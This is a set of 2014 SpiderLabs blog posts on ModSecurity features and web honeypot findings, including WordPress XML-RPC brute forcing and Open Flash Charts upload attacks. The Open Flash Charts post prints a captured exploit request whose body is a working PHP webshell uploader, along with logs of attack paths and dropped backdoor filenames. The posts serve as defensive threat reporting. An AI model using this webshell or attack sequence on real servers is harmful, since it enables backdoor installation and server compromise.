Web Security Blog

Syndicate content
Official Blog of Trustwave's SpiderLabs - SpiderLabs is an elite team of ethical hackers, investigators and researchers at Trustwave advancing the security capabilities of leading businesses and organizations throughout the world.
Updated: 1 day 11 hours ago

Blackhat Arsenal 2014: Live ModSecurity Demonstrations

Tue, 2014-08-05 11:00

If you are heading out to Blackhat USA 2014 in Las Vegas this week, please stop by the Arsenal Tools area on Thursday morning to see live demonstrations of ModSecurity's advanced features.

Arsenal Demonstration Information

  • Location:  Mandalay Bay Convention Center, Las Vegas, NV.
  • Event: Blackhat Arsenal
  • Conference Location: Breakers JK, Level 2.  ModSecurity will be at Station 4.
  • Date/Time: Thursday, August 7 between 10:00 a.m. - 12:30 p.m.

Some of the live demos that will be shown include:

Hope to see you all in Las Vegas!

Categories: web server

[Honeypot Alert] Wordpress XML-RPC Brute Force Scanning

Wed, 2014-07-23 17:37

There are news reports of new Wordpress XML-PRC brute force attacks being seen in the wild.  The SANS Internet Storm Center also has a Diary entry showing similar data.  We have captured similar attacks in our web honeypots so we wanted to share more data with the community.  Please reference earlier blog posts we have done related to Wordpress:

Thanks goes to my SpiderLabs Research colleague Robert Rowley for help in validating data for this blog post.

Wordpress XML-RPC wp.getUsersBlogs Component

Here is the general format of accessing this XML-RPC component:

As you can see, it is expecting username and password parameters. 

Example Honeypot Attack

Here is the data captured on our ModSecurity honepot:

This request was sending the following credentials:

  • username = admin
  • password = jeepjeep

Since we do not have Wordpress installed on our honeypot, there was no real response to this XML-RPC request.  If we do send this request to some demo sites we have with Wordpress, we can see different methods of response.

Component Not Installed/Activated

If you do not have XML-RPC installed or activated, then you would receive a response similar to the following:

Component Activated but Incorrect Credentials

If the XML-RPC component is activated, but the user sends incorrect credentials along with the wp.getUsersBlogs request, they would receive a response similar to the following:

Component Activated with Correct Credentials

If the client sends the correct credentials to the XML-RPC component, then they would receive and XML response similar to the following:

Defenses  Not Just wp.getUsersBlogs

It is important to note that the use of the wp.getUsersBlogs is but one of many possible vectors here so implementing a dumb block of that specific XML-RPC call will not suffice.  Pretty much all of the components listed in XML-RPC API documentation require a username/password.

Block the WinHttp.WinHttpRequest.5 User-Agent

There are many reports that list this as some type of scraper tool possibly related to a virus.  We have added this User-Agent string to our OWASP ModSecurity CRS repo.

Alert on XML-RPC Authentication Failures

We have added rules to our commercial ModSecurity rules package that will identify these XML-RPC authentication errors in the response bodies and generate alerts.

Categories: web server

Setting HoneyTraps with ModSecurity: Adding Fake Hidden Form Fields

Thu, 2014-06-12 12:35
This blog post continues with the topic of setting "HoneyTraps" within your web applications to catch attackers.  Please review the previous posts for more examples: This blog post will discuss Recipe 3-4: Adding Fake Hidden Form Fields from my book "Web Application Defender's Cookbook: Battling Hackers and Protecting Users".   Recipe 3-4: Adding Fake Hidden Form Fields

This recipe will show you how to add fake hidden form field data to existing forms and alert if the data is ever manipulated.


Hidden Form Fields

HTML hidden form field are just like normal form fields except for one distinct different; they are not displayed by the browser to the user.  Hidden fields are used as a mechanism to pass data from one request to another and their contents are not supposed to altered.  Web developers often make the mistake of believing that hidden parameter data cannot be manipulated however this is not the case.  While the browser does hide these form fields, the data is still accessible by the client.  They can either simply choose to view the source or use a browser plug-in.  Figure 3-6 shows an example of using the Groundspeed plug-in for the FireFox browser in order to view hidden form fields on the Twitter login page.

Figure 3-7: Hidden Form Fields on Twitter’s Login Page

The Groundspeed plug-in’s main benefit is that you are able to correlate the raw html elements of a page to the actual user interface.  In Figure 3-6, we see that there is a hidden form field named “context” with a value of “front” within the Sign Up form.  This is how the raw html hidden form field looks in the source:

<input type="hidden" value="front" name="context">

When the user clicks on the submit button, the hidden form field data will be sent along with all of the normal fields that accepted direct user input.  Here is how the request looks being sent back to the web application:

POST /signup HTTP/1.1 Host: twitter.com User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:10.0.2) Gecko/20100101 Firefox/10.0.2 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip, deflate DNT: 1 Connection: keep-alive Referer: http://twitter.com/ Cookie: pid=v1%3A1328144669186587529055; guest_id=v1%3A132922623466696969; js=1; __utma=43838368.1969980750.1329226294.1329235683.1331320055.3; __utmz=43838368.1329226294.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); k=; _twitter_sess=BAh7CToMY3NyZl9pZCIlNmU3YmYyOTQ3ZDIzZjY0NzNhNzMzN2ZkOWI2NmIw%250AY2YiCmZsYXNoSUM6J0FjdGlvbkNvbnRyb2xsZXI6OkZsYXNoOjpGbGFzaEhh%250Ac2h7AAY6CkB1c2VkewA6D2NyZWF0ZWRfYXRsKwiO0tv4NQE6B2lkIiUyZmNl%250AMTNlY2E0NThjN2QyZWY3NmY2YWI0MGNmYTZlZA%253D%253D--e0ad2fef301aa20cc0af4431d0e9f365cc0a92e2; original_referer=4bfz%2B%2BmebEkRkMWFCXm%2FCUOsvDoVeFTl; __utmb=43838368.1.10.1331320055; __utmc=43838368 Content-Type: application/x-www-form-urlencoded Content-Length: 105   user%5Bname%5D=Bob+Smith&user%5Bemail%5D=bob%40email.com&user%5Buser_password%5D=B1gB0b1199&context=front   

Notice the bolded context parameter data at the end of the request body?  That is the hidden form field data.  By looking at this data, there is no way to know that this parameter data originated within a hidden form field.  Attacker’s can easily manipulate this data once they are outside the confines of the web browser just like any other input field.

Adding Fake Hidden Form Fields with ModSecurity

Just as we did previously with adding in the fake HTML comments, we can use the same methodology to inject fake HTML hidden form fields.  The key to this technique is key on the closing </form> HTML form tag and inject our honeytrap data just before it.  The following rule will accomplish this task:

# # Add a fake "debug" hidden parameter to forms. # # Here are some examples of parameter names/values that could be used: # # - debug=false # - debug=0 # - role=user # - role=1 # - admin=false # - admin=0 # # Make sure that your settings here match the detection rules above. # SecRule STREAM_OUTPUT_BODY "@rsub s/<\/form>/<input type=\"hidden\" name=\"debug\" value=\"false\">>\/form>/" "id:'999009',phase:4,t:none,nolog,pass"

With this rule in place, all HTML forms will have this honeytrap hidden parameter data injected into it.  Figure 3-7 shows the updated Groundspeed data, which highlights our honeytrap hidden field data.

Figure 3-8: Groundspeed Displays Honeytrap Hidden Form Field Data

Just as before, we next to implement a rule that will trigger if this data is ever manipulated.  Here is an example rule:

SecRule ARGS:debug "!@streq false" \ "id:'999010',phase:2,t:none,log,block,msg:'HoneyTrap Alert: Fake HIDDEN Form Data Manipulated.',setvar:ip.malicious_client=1" Conclusion

Attackers will quite often attempt to manipulate form fields in attempts to tamper with the web application logic.  By setting bogus hidden form field data, we can quickly identify malicious clients and take appropriate defensive actions. 


Categories: web server

[Honeypot Alert] Open Flash Charts File Upload Attacks

Tue, 2014-05-06 11:00

Our web honeypots picked up some increased scanning/exploit activity for the following file upload vulnerability in Open Flash Charts -

The following screenshot shows the contents of the vulnerable ofc_upload_image.php file:

As you can see from this simple code, there is no validation of the uploaded file to ensure that it is an image.  Furthermore, the page tells the attacker exactly where the uploaded file is located so that they may then access the file and execute it.

Web Honeypot Logs Step 1: File Upload Attempts

Here are some examples from the Apache access_log file where the attackers are attempting to upload php files to the ofc_upload_image.php page: - - [06/May/2014:00:18:50 +0900] "POST //components/com_jnews/includes/openflashchart/php-ofc-library/ofc_upload_image.php?name=guys.php HTTP/1.1" 404 362 - - [06/May/2014:00:18:50 +0900] "POST /admin//components/com_jnews/includes/openflashchart/php-ofc-library/ofc_upload_image.php?name=guys.php HTTP/1.1" 404 368 - - [06/May/2014:00:18:52 +0900] "POST //components/com_jnews/includes/openflashchart/php-ofc-library/ofc_upload_image.php?name=guys.php HTTP/1.1" 404 288 - - [06/May/2014:00:19:19 +0900] "POST //components/com_jnews/includes/openflashchart/php-ofc-library/ofc_upload_image.php?name=guys.php HTTP/1.1" 404 288 - - [06/May/2014:00:19:21 +0900] "POST //components/com_jnews/includes/openflashchart/php-ofc-library/ofc_upload_image.php?name=guys.php HTTP/1.1" 404 1099 "-" "libwww-perl/5.836" - - [06/May/2014:00:19:21 +0900] "POST /cgi-bin/awstats//components/com_jnews/includes/openflashchart/php-ofc-library/ofc_upload_image.php?name=guys.php HTTP/1.1" 404 1099 "-" "libwww-perl/5.836" - - [06/May/2014:00:47:45 +0400] "POST //administrator/components/com_acymailing/inc/openflash/php-ofc-library/ofc_upload_image.php?name=wawalo.php HTTP/1.1" 404 355 "-" "libwww-perl/6.05" - - [06/May/2014:00:47:45 +0400] "POST //administrator/components/com_civicrm/civicrm/packages/OpenFlashChart/php-ofc-library/ofc_upload_image.php?name=wawalo.php HTTP/1.1" 404 370 "-" "libwww-perl/6.05" - - [06/May/2014:00:47:45 +0400] "POST //administrator/components/com_jnewsletter/includes/openflashchart/php-ofc-library/ofc_upload_image.php?name=wawalo.php HTTP/1.1" 404 366 "-" "libwww-perl/6.05" - - [06/May/2014:00:47:45 +0400] "POST //administrator/components/com_maianmedia/utilities/charts/php-ofc-library/ofc_upload_image.php?name=wawalo.php HTTP/1.1" 404 358 "-" "libwww-perl/6.05" - - [06/May/2014:00:47:46 +0400] "POST //administrator/components/com_jinc/classes/graphics/php-ofc-library/ofc_upload_image.php?name=wawalo.php HTTP/1.1" 404 352 "-" "libwww-perl/6.05" - - [06/May/2014:00:47:46 +0400] "POST //administrator/components/com_jnews/includes/openflashchart/php-ofc-library/ofc_upload_image.php?name=wawalo.php HTTP/1.1" 404 360 "-" "libwww-perl/6.05" - - [06/May/2014:00:58:36 +0200] "POST //components/com_jnews/includes/openflashchart/php-ofc-library/ofc_upload_image.php?name=guys.php HTTP/1.1" 404 361 "-" "libwww-perl/5.836" - - [06/May/2014:01:03:58 +0200] "POST //components/com_jnews/includes/openflashchart/php-ofc-library/ofc_upload_image.php?name=guys.php HTTP/1.1" 404 361 "-" "libwww-perl/5.836" - - [06/May/2014:01:33:58 +0200] "POST //admin_area/charts/php-ofc-library/ofc_upload_image.php?name=vito.php HTTP/1.1" 404 334 "-" "libwww-perl/6.05" - - [06/May/2014:01:33:58 +0200] "POST //administrator/components/com_civicrm/civicrm/packages/OpenFlashChart/php-ofc-library/ofc_upload_image.php?name=vito.php HTTP/1.1" 404 385 "-" "libwww-perl/6.05" - - [06/May/2014:01:33:58 +0200] "POST //administrator/components/com_jinc/classes/graphics/php-ofc-library/ofc_upload_image.php?name=vito.php HTTP/1.1" 404 367 "-" "libwww-perl/6.05" - - [06/May/2014:01:33:58 +0200] "POST //administrator/components/com_jnews/includes/openflashchart/php-ofc-library/ofc_upload_image.php?name=vito.php HTTP/1.1" 404 375 "-" "libwww-perl/6.05" - - [06/May/2014:01:33:58 +0200] "POST //administrator/components/com_jnewsletter/includes/php-ofc-library/ofc_upload_image.php?name=vito.php HTTP/1.1" 404 366 "-" "libwww-perl/6.05" - - [06/May/2014:01:33:58 +0200] "POST //administrator/components/com_joomleague/assets/classes/php-ofc-library/ofc_upload_image.php?name=vito.php HTTP/1.1" 404 371 "-" "libwww-perl/6.05" - - [06/May/2014:01:33:58 +0200] "POST //administrator/components/com_maian15/charts/php-ofc-library/ofc_upload_image.php?name=vito.php HTTP/1.1" 404 360 "-" "libwww-perl/6.05" - - [06/May/2014:01:33:58 +0200] "POST //administrator/components/com_maianmedia/utilities/charts/php-ofc-library/ofc_upload_image.php?name=vito.php HTTP/1.1" 404 373 "-" "libwww-perl/6.05" - - [06/May/2014:01:33:58 +0200] "POST //administrator/components/com_redmystic/chart/php-ofc-library/ofc_upload_image.php?name=vito.php HTTP/1.1" 404 361 "-" "libwww-perl/6.05"

 The desired filename of the uploaded file is specified in the "name" parameter.  Here is an example attack from the ModSecurity audit log file where the full POST body payload is captured:

[06/May/2014:03:08:38 --0500] U2iYhsCo8AoAAHdgZOAAAAAC 60586 XXX.XXX.XXX.XXX 80
POST //admin_area/charts/ofc-library/ofc_upload_image.php?name=pload.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
User-Agent: libwww-perl/6.04
Content-Length: 474
Content-Type: text/plain --8957ae7d-C--
GIF89a<?php echo '<b><br><br>OS:'.php_uname().'<br></b>'; echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">'; echo '<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>'; if( $_POST['_upl'] == "Upload" ) { if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo '<b>Upload Succesfully !!!</b><br><br>'; } else { echo '<b>Upload Fail !!!</b><br><br>'; } } ?>

As you can see from this POST body payload, the attacker is attempting to upload a very basic webshell which would allow the attacker to upload other files to the server.

Step 2: Access Uploaded Files

After attempting to upload the malicious files, the attacker's next step is to try and access the file in the tmp_upload_images directory.  Here are more examples from the Apache access_log file: - - [06/May/2014:10:29:41 +0900] "GET //administrator/components/com_civicrm/civicrm/packages/OpenFlashChart/tmp-upload-images/vito.php?rf HTTP/1.1" 404 302 - - [06/May/2014:10:29:41 +0900] "GET //administrator/components/com_jinc/classes/graphics/tmp-upload-images/vito.php?rf HTTP/1.1" 404 284 - - [06/May/2014:10:29:41 +0900] "GET //administrator/components/com_jnews/includes/openflashchart/tmp-upload-images/vito.php?rf HTTP/1.1" 404 292 - - [06/May/2014:10:29:41 +0900] "GET //administrator/components/com_jnewsletter/includes/tmp-upload-images/vito.php?rf HTTP/1.1" 404 283 - - [06/May/2014:10:29:41 +0900] "GET //administrator/components/com_jnewsletter/includes/tmp-upload-images/vito.php?rf HTTP/1.1" 404 283 - - [06/May/2014:10:29:41 +0900] "GET //administrator/components/com_joomleague/assets/classes/tmp-upload-images/vito.php?rf HTTP/1.1" 404 288 - - [06/May/2014:10:29:41 +0900] "GET //administrator/components/com_maianmedia/utilities/charts/tmp-upload-images/vito.php?rf HTTP/1.1" 404 290 - - [06/May/2014:10:29:41 +0900] "GET //administrator/components/com_redmystic/chart/tmp-upload-images/vito.php?rf HTTP/1.1" 404 278 - - [06/May/2014:10:29:41 +0900] "GET //openemr/library/openflashchart/tmp-upload-images/vito.php?rf HTTP/1.1" 404 264 - - [06/May/2014:10:29:41 +0900] "GET //wp-content/plugins/woopra/inc/tmp-upload-images/vito.php?rf HTTP/1.1" 404 263 - - [06/May/2014:10:29:41 +0900] "GET //wp-content/plugins/woopra/inc/tmp-upload-images/vito.php?rf HTTP/1.1" 404 263 - - [06/May/2014:10:29:41 +0900] "GET //wp-content/plugins/wp-slimstat-ex/lib/ofc/tmp-upload-images/vito.php?rf HTTP/1.1" 404 275 - - [06/May/2014:10:29:41 +0900] "GET //wp-content/plugins/wp-slimstat-ex/lib/ofc/tmp-upload-images/vito.php?rf HTTP/1.1" 404 275 - - [06/May/2014:10:29:41 +0900] "GET /wp-content/plugins/seo-watcher/ofc/tmp-upload-images/vito.php?rf HTTP/1.1" 404 267 - - [06/May/2014:10:29:42 +0900] "GET //administrator/components/com_jinc/classes/graphics/tmp-upload-images/vito.php?rf HTTP/1.1" 404 284 - - [06/May/2014:10:29:42 +0900] "GET //administrator/components/com_joomleague/assets/classes/tmp-upload-images/vito.php?rf HTTP/1.1" 404 288 - - [06/May/2014:10:29:42 +0900] "GET //administrator/components/com_maian15/charts/tmp-upload-images/vito.php?rf HTTP/1.1" 404 277 - - [06/May/2014:10:29:42 +0900] "GET //administrator/components/com_maianmedia/utilities/charts/tmp-upload-images/vito.php?rf HTTP/1.1" 404 290 - - [06/May/2014:10:29:42 +0900] "GET //administrator/components/com_redmystic/chart/tmp-upload-images/vito.php?rf HTTP/1.1" 404 278 - - [06/May/2014:10:29:42 +0900] "GET //openemr/library/openflashchart/tmp-upload-images/vito.php?rf HTTP/1.1" 404 264 - - [06/May/2014:10:29:42 +0900] "GET /wp-content/plugins/seo-watcher/ofc/tmp-upload-images/vito.php?rf HTTP/1.1" 404 267 - - [06/May/2014:10:29:43 +0900] "GET //administrator/components/com_civicrm/civicrm/packages/OpenFlashChart/tmp-upload-images/vito.php?rf HTTP/1.1" 404 302 - - [06/May/2014:10:29:43 +0900] "GET //administrator/components/com_jnews/includes/openflashchart/tmp-upload-images/vito.php?rf HTTP/1.1" 404 292 - - [06/May/2014:10:29:43 +0900] "GET //administrator/components/com_maian15/charts/tmp-upload-images/vito.php?rf HTTP/1.1" 404 277 - - [06/May/2014:19:13:57 +0900] "GET /admin//administrator/components/com_jinc/classes/graphics/tmp-upload-images/lobex21.php?rf HTTP/1.1" 404 367 - - [06/May/2014:19:13:57 +0900] "GET /admin//administrator/components/com_jnewsletter/includes/openflashchart/tmp-upload-images/lobex21.php?rf HTTP/1.1" 404 381 - - [06/May/2014:19:13:58 +0900] "GET //administrator/components/com_jnews/includes/openflashchart/tmp-upload-images/lobex21.php?rf HTTP/1.1" 404 369 - - [06/May/2014:19:13:58 +0900] "GET /admin//administrator/components/com_civicrm/civicrm/packages/OpenFlashChart/tmp-upload-images/lobex21.php?rf HTTP/1.1" 404 385 - - [06/May/2014:19:13:58 +0900] "GET /admin//administrator/components/com_jnews/includes/openflashchart/tmp-upload-images/lobex21.php?rf HTTP/1.1" 404 375 - - [06/May/2014:19:13:58 +0900] "GET /admin//administrator/components/com_maianmedia/utilities/charts/tmp-upload-images/lobex21.php?rf HTTP/1.1" 404 373 - - [06/May/2014:19:13:59 +0900] "GET /admin//administrator/components/com_acymailing/inc/openflash/tmp-upload-images/lobex21.php?rf HTTP/1.1" 404 370 - - [06/May/2014:19:13:59 +0900] "GET /admin//administrator/components/com_jnewsletter/includes/openflashchart/tmp-upload-images/lobex21.php?rf HTTP/1.1" 404 381 - - [06/May/2014:19:14:00 +0900] "GET /admin//administrator/components/com_jinc/classes/graphics/tmp-upload-images/lobex21.php?rf HTTP/1.1" 404 367 - - [06/May/2014:19:14:01 +0900] "GET /admin//administrator/components/com_maianmedia/utilities/charts/tmp-upload-images/lobex21.php?rf HTTP/1.1" 404 373 - - [06/May/2014:19:14:02 +0900] "GET /admin//administrator/components/com_jnews/includes/openflashchart/tmp-upload-images/lobex21.php?rf HTTP/1.1" 404 375 - - [06/May/2014:19:14:22 +0900] "GET //administrator/components/com_acymailing/inc/openflash/tmp-upload-images/lobex21.php?rf HTTP/1.1" 404 290 - - [06/May/2014:19:14:22 +0900] "GET //administrator/components/com_civicrm/civicrm/packages/OpenFlashChart/tmp-upload-images/lobex21.php?rf HTTP/1.1" 404 305 - - [06/May/2014:19:14:24 +0900] "GET //administrator/components/com_jinc/classes/graphics/tmp-upload-images/lobex21.php?rf HTTP/1.1" 404 287 - - [06/May/2014:19:14:24 +0900] "GET //administrator/components/com_jnewsletter/includes/openflashchart/tmp-upload-images/lobex21.php?rf HTTP/1.1" 404 301 - - [06/May/2014:19:14:24 +0900] "GET //administrator/components/com_maianmedia/utilities/charts/tmp-upload-images/lobex21.php?rf HTTP/1.1" 404 293 - - [06/May/2014:19:14:25 +0900] "GET //administrator/components/com_jnews/includes/openflashchart/tmp-upload-images/lobex21.php?rf HTTP/1.1" 404 295 - - [06/May/2014:19:14:41 +0900] "GET //administrator/components/com_acymailing/inc/openflash/tmp-upload-images/lobex21.php?rf HTTP/1.1" 404 290 - - [06/May/2014:19:14:41 +0900] "GET //administrator/components/com_civicrm/civicrm/packages/OpenFlashChart/tmp-upload-images/lobex21.php?rf HTTP/1.1" 404 305 Action Items Patch?

Unfortunately, it seems that the developers have not released any updates to fix this vulnerability. 

Virtually Patch with WAF

If you use a Web Application Firewall (WAF) such as Trustwave's WebDefend or ModSecurity, you can block these attack attempts.  We have virtual patches in our commercial SpiderLabs rules feed.

Scan Your Web App

There is MetaSploit module to check for this vulnerable file:

As with many WordPress/Joomla Plugins, 3rd party library packages such as can creep their way into your installation.  Here is a listing of the Plugins being searched for (listed in descending order of attack attempts):

73 com_jnews
72 com_jnewsletter
63 com_jinc
58 com_maianmedia
57 com_civicrm
45 com_redmystic
45 com_maian15
35 com_joomleague
23 com_acymailing
14 com_jc

See this response by Piwik:

 Identify Uploaded Backdoor/Webshells

You can also scan your web site document root directory structure to look for files with the following names:

  • vito.php
  • lobex21.php
  • guys.php
  • wawalo.php
  • pload.php

If you find one of these files, you have already been compromised and should conduct a full incident response/forensic review of your system.

Categories: web server

ModSecurity Advanced Topic of the Week: JSON Support

Fri, 2014-05-02 08:38

Submitted by Felipe Costa and Ryan Barnett (SpiderLabs Research - ModSecurity Team)

Increasing Adoption of Dynamic Web Content

Long gone are the days of static HTML web content.  Dynamic web content adoption is growing and growing as everyone wants to have a visually appealing, highly responsive web application. The technologies driving these apps are things like HTML5, AJAX and web services that use XML or JSON.  JSON is becoming more popular each day as organizations provide commercial API models [1, 2]. JSON content can also be consumed very easily by web applications using JavaScript [3] or consume JSON APIS on mobile devices [4, 5]. 

Since the number of applications that accept JSON input is growing, it is natural to expect that JSON will be also used to transport web application attacks payloads.  This leads to the next logical question with regards to defense: Can your Web Application Firewall  (WAF) understand JSON?  These different web technologies are similar to verbal languages and WAFs need to be multi-lingual to correctly identify attacks and minimize false positives.  It is for this reason that we have added JSON support to ModSecurity.

Side Note: Trustwave’s WebDefend WAF Product has JSON support in the upcoming v7 release.

New JSON Parsing Support in ModSecurity 

In the newest ModSecurity release (v2.8.0), we have added JSON request body parsing support.  This means that ModSecurity will be able to validate the format and extract JSON content for inspection much in the same way that it handles XML request body content. Thanks goes out to our SpiderLabs Research colleague Ulisses Albuquerque who originally developed this functionality.

How does JSON parsing work?

ModSecurity will automatically parse the following two request body content-types with built-in request body parsers:

  • application/x-www-form-urlencoded
  • multipart/form-data 

In addition, if the request body is XML, ModSecurity can be configured with the “requestBodyProcessorctl action to dynamically initiate the libxml2 library to parse the content. Similar to how we handle XML content, we have now added JSON request body parsing support with the YAJL (Yet Another JSON Library) package. Image 1 illustrates the new portion of modsecurity.conf-recommended, where the JSON parser is activated by the ctl action.

 Image 1: Rule that trigger the JSON parser whenever the content is specified as “application/json”.

The rule, illustrated in Image 1, tells ModSecurity that if the Content-Type is application/json, the JSON body processor should be activated. Once the parser is triggered it will process the JSON content (arrays and structures), and each value will be added to a key inside the standard ARGS collection.  The ARGS_NAMES values are based on the JSON parameter names.  Similar to how the XML processor allows for XPath variables to be defined, the JSON parser will create ARGS_NAMES values as a concatenation of all the structure names that a value belongs to, split by a “.” (dot). Image 2 shows an example of a JSON content (Image 2.a) and its corresponding representation in ModSecurity’s ARGS collection (Image 2.b).

Image 2: (a) JSON example, from RFC 4627. (b) Representation of ModSecurity’s ARGS collection after JSON parsing.

Example Usage: SQL Injection Attack in JSON Content

Let’s see how it looks when an attacker attempts to send an SQL Injection attack inside the JSON Image.IDs parameter payload. The raw JSON request body is illustrated in Image 3.


Image 3: Illustrates a request body in JSON format. (a) Illustrates an SQL injection attempt.

When ModSecurity starts the request body processing phase, the JSON will be parsed and the content of the debug log will be similar to what is shown in Image 4, note in 4.a the SQL command is stored into: ARGS:Images.IDs.

Image 4: ModSecurity debug log while parsing a JSON request body. (a) An SQL Injection command is stored under the key Image.IDs.

This data is now held within the ARGS collection and can be used by the existing rules. Image 5 is a snippet of the debug log file when ModSecurity uses the @detectSQLi operator against this JSON data.

Image 5: (a) libinjection matching a fingerprint in the target value. (b) ModSecurity Alert Message Data.

Malformed JSON Data

When attackers attempt to inject malicious payload into JSON content, it will often cause parsing errors. ModSecurity’s JSON parser populates data in a “stream” fashion, so errors such as missing the last “}” (brackets) will not prevent ModSecurity from filling the ARGS collection. ModSecurity will fill the collection until an error is noticed.  Therefore, it is also critical to check the content of the “REQBODY_ERROR” variable which will be set to “1” if there is a parser error such as an incomplete or mal-formed JSON content.

In ModSecurity recommended configuration file, there is a rule - similar to the one illustrated in the Image 6 - that will block requests if JSON parser fails. This very same rule is also used to block other parser errors such as multipart/request-data or even the XML parser.


Image 6: Illustrates the rule that can be used to prevent a request if there is an error when parsing its content.

It is important to block requests whenever ModSecurity parser fails. Depending on the tolerance of a given parser it may process an invalid content as valid, in other words, applications can receive content without ModSecurity inspection, leading the possibility of an attacker delivering malicious content.  Image 7. Is a log snippet showing when the JSON parser detects an error. Image 7.a. Shows the error message.


Image 7: Log snippet showing a JSON parser error. (a) Contains the explanation why the JSON parser failed. 

Having these rules in place will help to minimize the chance of a false negative/bypass if attackers are purposefully attempting to alter the JSON format to break parsing.

How to have JSON parser working?

The JSON parser feature is now considered stable and part of ModSecurity v2.8.0, which was recently released. For those who don’t want to wait for distribution packages or our official releases, the code is always available in our Git repository:



Applications that utilize dynamic code such as JSON will continue to grow and therefore web security devices must keep pace with the changing landscape of web application development languages and technologies.  We encourage the ModSecurity community to test out this new feature and let us know if there are any issues or recommendations for updates.

Categories: web server